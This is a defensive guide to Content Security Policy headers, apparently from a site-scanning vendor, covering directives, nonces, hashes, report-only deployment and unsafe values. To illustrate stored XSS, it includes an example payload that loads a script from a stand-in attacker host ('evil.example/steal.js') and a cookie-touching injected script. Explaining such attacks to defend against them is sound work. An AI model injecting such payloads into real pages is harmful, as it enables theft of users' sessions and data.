A Content Security Policy (CSP) is an HTTP response header — or a <meta> tag — that tells the browser exactly which sources are permitted to load scripts, stylesheets, images, fonts, and other resources on a page. Any resource that does not match the policy is blocked before it executes. This makes CSP the primary browser-level defence against Cross-Site Scripting (XSS) attacks, which consistently rank in the OWASP Top 10 — listed as A05:2025 (Injection) in the 2025 edition (previously A03:2021).
XSS attacks work by injecting malicious scripts into a trusted page. Without a CSP, the browser has no way to distinguish between the site's own scripts and an attacker's injected code — it executes both. A CSP shifts that enforcement to the browser: even if an attacker manages to inject a script tag, the browser refuses to run it unless the source matches the policy. The OWASP CSP Cheat Sheet recommends deploying CSP as a defence-in-depth layer alongside output encoding and input validation — not as a replacement for them.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-RANDOM'nonce or a SHA-256 hash — never 'unsafe-inline'.Content-Security-Policy-Report-Only lets you observe violations without blocking anything.'unsafe-inline' or 'unsafe-eval'.In a stored XSS attack, an attacker submits a payload like <script src="https://evil.example/steal.js"></script> into a comment field or user profile. The server saves it and later renders it to other users. Without a CSP, the browser sees a <script> tag in the HTML and executes it — no questions asked.
With a strict CSP like script-src 'self', the browser checks the script's origin against the policy. evil.example is not self, so the browser blocks the request and logs a violation — the attacker's script never runs.
Web application attacks remain one of the most common breach vectors year after year, according to the annual Verizon Data Breach Investigations Report. A properly configured CSP eliminates the majority of XSS vectors entirely. Google's web.dev strict CSP guide documents that strict, nonce-based CSP has prevented numerous XSS attacks across Google products.
A CSP policy is a semicolon-separated list of directives. Each directive controls a specific resource type. Here are the most important ones:
| Directive | Controls | Recommended value |
|---|---|---|
default-src | Fallback for all resource types not explicitly listed | 'self' |
script-src | JavaScript sources (<script>, inline handlers, eval) | 'self' 'nonce-RANDOM' |
style-src | CSS sources (<style>, style= attributes, external stylesheets) | 'self' 'nonce-RANDOM' |
img-src | Image sources | 'self' data: https: |
connect-src | XHR, fetch, WebSocket endpoints | 'self' https://api.example.com |
font-src | Web font sources | 'self' https://fonts.gstatic.com |
frame-src | Sources allowed in <iframe> | 'none' or specific trusted origins |
object-src | Plugins: <object>, <embed>, <applet> | 'none' (plugins are obsolete) |
base-uri | Values allowed in <base href> | 'self' (prevents base-tag injection) |
form-action | Where forms can submit to | 'self' |
frame-ancestors | Who can embed this page in an iframe | 'none' or 'self' |
The biggest practical challenge with CSP is inline scripts. Many sites use inline <script> blocks or event handlers like onclick="". A strict CSP blocks these by default — and rightly so, because inline scripts are the most common XSS injection point.
There are two safe ways to allow inline scripts without opening the policy to all inline code:
A nonce is a cryptographically random value generated fresh on every server response. It is added to the CSP header and to each trusted <script> tag. The browser only executes inline scripts whose nonce matches the one in the header — and since the nonce changes every request, an attacker cannot predict it.
# CSP header (server generates a new nonce per request)
Content-Security-Policy: script-src 'self' 'nonce-rAnd0mV4lu3'
<!-- Only this script runs — the nonce matches -->
<script nonce="rAnd0mV4lu3">
console.log('trusted inline script');
</script>
<!-- Attacker's injected script is blocked — no matching nonce -->
<script>document.cookie = '...'</script>A hash is a SHA-256 (or SHA-384/SHA-512) digest of the exact script content. Add it to the script-src directive. If the script content changes, the hash no longer matches and the browser blocks it — which also serves as tamper detection.
# Generate the hash of your inline script content
echo -n "console.log('hello');" | openssl dgst -sha256 -binary | base64
# Use it in the CSP header
Content-Security-Policy: script-src 'self' 'sha256-abc123...='A CSP with the wrong values provides false security. These are the directives that effectively disable XSS protection:
Allows all inline scripts and event handlers, including any injected by an attacker. This completely negates XSS protection for the script-src directive. Avoid it. Use nonces or hashes instead.
Allows eval(), new Function(), setTimeout(string), and similar dynamic code execution — common XSS injection vectors. Avoid it unless you have a documented dependency that genuinely requires it and cannot be replaced.
A directive like script-src * allows scripts from any origin on the internet, making the policy meaningless. Always use explicit origins or 'self'.
script-src https: allows scripts from any HTTPS URL — which still includes attacker-controlled domains. Enumerate specific trusted domains instead.
Deploying a strict CSP on an existing site without testing will almost certainly break something — a third-party analytics tag, an inline event handler, a CDN-hosted script. The Content-Security-Policy-Report-Only header lets you observe what would be blocked without actually blocking it.
# Observe violations without blocking — safe for testing
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' 'nonce-RANDOM'; report-uri /csp-violationsViolations are sent as JSON POST requests to the report-uri endpoint. Collect and review them for a few days across real traffic before switching to the enforcing Content-Security-Policy header.
The modern successor to report-uri is the Reporting-Endpoints header combined with report-to in the CSP, which supports batched reporting and is defined in the W3C Reporting API specification.
The OWASP CSP Cheat Sheet recommends a strict, nonce-based policy as the modern best practice. The 'strict-dynamic' source expression — added in CSP Level 3 — extends trust from a nonced script to any script it dynamically loads, which makes strict CSP work with modern JavaScript frameworks. This policy is a safe starting point for most web applications. Replace RANDOM with a server-generated nonce per request, and expand connect-src and img-src as your app requires:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-RANDOM';
style-src 'self' 'nonce-RANDOM';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;The upgrade-insecure-requests directive instructs the browser to rewrite all HTTP sub-resource requests to HTTPS before fetching them — a useful companion to HSTS for catching leftover mixed-content references.
Content-Security-Policy header returned by your server to confirm it matches what you configured.'unsafe-inline', 'unsafe-eval', and overly broad wildcards, and flags a missing policy as a Security issue.A strict CSP with nonces and no 'unsafe-inline' eliminates the majority of XSS vectors. It does not replace input validation and output encoding — those remain essential. A CSP is a defence-in-depth layer: it limits damage even when an injection vulnerability exists, but it is not a substitute for fixing the underlying bug.
Yes, but with limitations. The <meta http-equiv="Content-Security-Policy"> tag is supported and useful for static sites that cannot set HTTP headers. However, it cannot use frame-ancestors, report-uri, or sandbox — those directives only work in the HTTP header form.
Potentially, yes — if you add them via a script tag without a nonce. The clean solution is to load them through a server-side tag manager or to add their origins to script-src and connect-src. Avoid using 'unsafe-inline' just to unblock a third-party tag.
CSP controls what resources the browser is allowed to load on a page — it is an outbound filter on resource fetching. CORS (Cross-Origin Resource Sharing) controls which external origins are allowed to read responses from your server — it is an inbound filter on cross-origin API access. They solve different problems and are often used together.
Indirectly. A missing or weak CSP signals to security audits that the site may be vulnerable to XSS. More practically, an XSS attack that injects spam links or redirects into your pages will damage rankings directly. CSP prevents that class of attack from succeeding even if an injection vulnerability exists.
'self' means the same origin as the page — the same scheme, host, and port. A script loaded from https://example.com/app.js matches 'self' for a page served from https://example.com. A script from https://cdn.example.com/app.js does not — that is a different host and requires an explicit entry in script-src.
The core directives — default-src, script-src, style-src, nonce, and hash — are supported in all modern browsers including Chrome, Firefox, Safari, and Edge. CSP Level 3 itself is still a W3C Working Draft, but most of its features (including 'strict-dynamic') ship in major browsers. Refer to the W3C CSP Level 3 specification and the MDN CSP guide for current per-feature browser support.
The 2025 edition of the OWASP Top 10 lists Injection — which includes XSS — as A05:2025 (it was A03:2021 in the previous edition). The OWASP XSS Prevention Cheat Sheet recommends combining context-aware output encoding, input validation, and a strict CSP with nonces or hashes — defence in depth, not one mechanism alone.
A Content Security Policy is the most effective browser-level defence against XSS — the attack category responsible for a significant share of web application breaches. The critical steps are: avoid 'unsafe-inline' and 'unsafe-eval', use nonces or hashes for inline scripts, deploy in report-only mode first to identify gaps, and then switch to enforcement. Run a Greadme deep scan to check whether your site has a CSP header and whether it contains any dangerous values that would make the policy ineffective.